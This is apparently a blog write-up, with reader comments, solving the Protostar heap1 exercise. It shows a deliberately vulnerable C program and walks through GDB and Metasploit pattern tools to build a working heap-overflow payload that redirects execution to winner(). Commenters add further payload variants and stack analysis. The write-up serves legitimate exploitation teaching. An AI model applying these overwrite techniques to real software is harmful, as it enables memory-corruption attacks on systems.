You first start out with the following code:
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct internet)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n"); }It's quite easy to see where the heap overflow would occur. The code is allocating 8 bytes of space for the "name" field in memory. However, it's never checking if the arguments are over 8 bytes long.
After tinkering for a bit, I found that if you passed strings that were too long, you could get strcpy to try overwriting other memory spaces than it was supposed to. GDB would fail on the lines of strcpy with weird addresses. So I started there.
First, I figured I needed to know the offset for the first argument, to know which exact byte it was using as a copy destination. Just like in stack overflows, I used the Metasploit Framework to generate a unique string:
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 250 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2AI then fed that string into the first argument, and passed a test value of "BBBBBBBB" as the second argument.
user@protostar:/opt/protostar/bin$ gdb ./heap1 --quiet Reading symbols from /opt/protostar/bin/heap1...done. (gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A BBBBBBBB Starting program: /opt/protostar/bin/heap1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A BBBBBBBB Program received signal SIGSEGV, Segmentation fault. *__GI_strcpy (dest=0x37614136 , src=0xbffff99e "BBBBBBBB") at strcpy.c:40 40 strcpy.c: No such file or directory. in strcpy.cI used the Metasploit Framework again to get me the offset using the value in the strcpy dest field.
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x37614136 20So what I had learned here, is if I overflowed the "name" field of the struct with 20 bytes instead of 8, I could then control the destination of the copy for the second strcpy command. It would copy whatever the second argument was, into any memory space I wanted. But I needed to control flow of the program to get "winner()" to execute. Somehow I needed to get the address of "winner()" into the EIP. My thought on that, was that since when you call a program or function, it puts the return address in the stack, that maybe I could overwrite that return address, and instead of exiting gracefully (because it was the main function), it would put my address into the EIP and run it. The first step with that was finding the location of that return address in the stack.
I added a breakpoint to the main function, so I could get the initial memory values once inside that function.
user@protostar:/opt/protostar/bin$ gdb ./heap1 --quiet Reading symbols from /opt/protostar/bin/heap1...done. (gdb) break main Breakpoint 1 at 0x80484c2: file heap1/heap1.c, line 23.I then ran the program with dummy data, which made me hit my breakpoint.
(gdb) run asdf asdf Starting program: /opt/protostar/bin/heap1 asdf asdf Breakpoint 1, main (argc=3, argv=0xbffff864) at heap1/heap1.c:23 23 heap1/heap1.c: No such file or directory. in heap1/heap1.cFrom this point, I wanted to look at all the registers, but focus in on the esp and ebp.
(gdb) i r eax 0xbffff864 -1073743772 ecx 0x7825cdc2 2015743426 edx 0x3 3 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff790 0xbffff790 ebp 0xbffff7b8 0xbffff7b8 esi 0x0 0 edi 0x0 0 eip 0x80484c2 0x80484c2The important parts here, are that the top of the stack is at 0xbffff790 and the bottom at 0xbffff7b8. So I pulled up all the memory inbetween those two addresses. I expected to see 0x00000000 at the end, to signify that it was the end of the function. And in the addresses before that, one would be the return address.eflags 0x200286 [ PF SF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
(gdb) x/10x $esp 0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048580 0xbffff7b8 0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804858b 0xb7fd7ff4 0xbffff7b0: 0x08048580 0x00000000For now, I removed my original breakpoint, so that execution wouldn't get paused.
(gdb) delete 1I played around with the different addresses in this 0xbffff790-0xbffff7b8 range, and found the address 0xbffff7ac to work out.
(gdb) run $(perl -e 'print "A"x20 . "\xac\xf7\xff\xbf" . " " . "\xEF\xBE\xAD\xDE"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/protostar/bin/heap1 $(perl -e 'print "A"x20 . "\xac\xf7\xff\xbf" . " " . "\xEF\xBE\xAD\xDE"') and that's a wrap folks! Program received signal SIGSEGV, Segmentation fault. 0xdeadbeef in ?? ()So it appears that it wasn't the byte right before the 0x00000000, but was actually 2 bytes before it. I was now controlling the EIP. The last step would be to find the address of the winner() function, to get it called.
(gdb) print winner $1 = {void (void)} 0x8048494This was fairly trivial to do. So I built up the string with the proper return address and winner() address:
(gdb) run $(perl -e 'print "A"x20 . "\xac\xf7\xff\xbf" . " " . "\x94\x84\x04\x08"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/protostar/bin/heap1 $(perl -e 'print "A"x20 . "\xac\xf7\xff\xbf" . " " . "\x94\x84\x04\x08"') and that's a wrap folks! and we have a winner @ 1326098464 Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? ()It looks like it did execute winner() successfully. It may not have ended the program properly, but we got our execution. Just to make sure that it'd work outside of gdb, I tried it again on the direct program.
user@protostar:/opt/protostar/bin$ ./heap1 $(perl -e 'print "A"x20 . "\xac\xf7\xff\xbf" . " " . "\x94\x84\x04\x08"') and we have a winner @ 1326098505 Segmentation faultThere you have it. The execution was changed to execute where originally not intended.
nice one, I solved heap1 using the second strcpy() to replace puts() GOT entry with winner() address. Here is my write-up: http://vnico.mundodisco.net/archives/196
ReplyDeleteHello Matt,
ReplyDeleteI think that the address you overwrite is not EIP, it is in fact the return address
from the second strcpy() call. I didn't understand at first why the printf in
main() was not called, but then I recompiled the program with a printf of esp
and ebp at the beginning and tested.
register int ebp asm("ebp");
register int esp asm("esp");
printf("esp:0x%08x\nebp:0x%08x\n", esp, ebp);
$ cd ~
$ gcc -fno-stack-protector -g -o heap1 heap1.c
First run:
--------------------------
$ ./heap1 $(perl -e 'print "A"x20 . "\x00\xf7\xff\xbf" . " " . "\x94\x84\x04\x08"')
esp:0xbffff7c0
ebp:0xbffff7e8
Segmentation fault (core dumped)
The first run uses a bad address (0xbffff700), just to see the esp and ebp)
Second run:
--------------------------
$ ./heap1 $(perl -e 'print "A"x20 . "\xec\xf7\xff\xbf" . " " . "\x94\x84\x04\x08"')
esp:0xbffff7c0
ebp:0xbffff7e8
and that's a wrap folks!
and we have a winner @ 1349514868
Segmentation fault (core dumped)
Now we replace 0xbffff7ec address with the address of winner(). 0xbffff7ec is in fact the return address from main, which is saved just before the stack frame of main function. The stack of main() begins at 0xbffff7e8 and grows downward to 0xbffff7c0. We have both printfs called.
Third run:
--------------------------
$ ./heap1 $(perl -e 'print "A"x20 . "\xbc\xf7\xff\xbf" . " " . "\x94\x84\x04\x08"')
esp:0xbffff7c0
ebp:0xbffff7e8
and we have a winner @ 1349514892
Segmentation fault (core dumped)
This time only the printf() in winner() function is called. We know that the stack frame of main() ends at 0xbffff7c0. When the second strcpy is called, a new stack frame is created, and the return from that new stack frame is pushed at 0xbffff7bc (the stack for the second strcpy() grows downward from there).
In this case we actually modify this address, and when returning from second strcpy we return directly into the winner() function, and that's why we don't see the printf at end of main().
-----------
The same thing happens with the binary in /opt/protostar/bin:
user@protostar:/opt/protostar/bin$ ./heap1 $(perl -e 'print "A"x20 . "\xac\xf7\xff\xbf" . " " . "\x94\x84\x04\x08"')
and we have a winner @ 1349515553
Segmentation fault (core dumped)
user@protostar:/opt/protostar/bin$ ./heap1 $(perl -e 'print "A"x20 . "\xdc\xf7\xff\xbf" . " " . "\x94\x84\x04\x08"')
and that's a wrap folks!
and we have a winner @ 1349515563
Segmentation fault (core dumped)
correction in the first sentence: EIP should be 'ret from main'..
Delete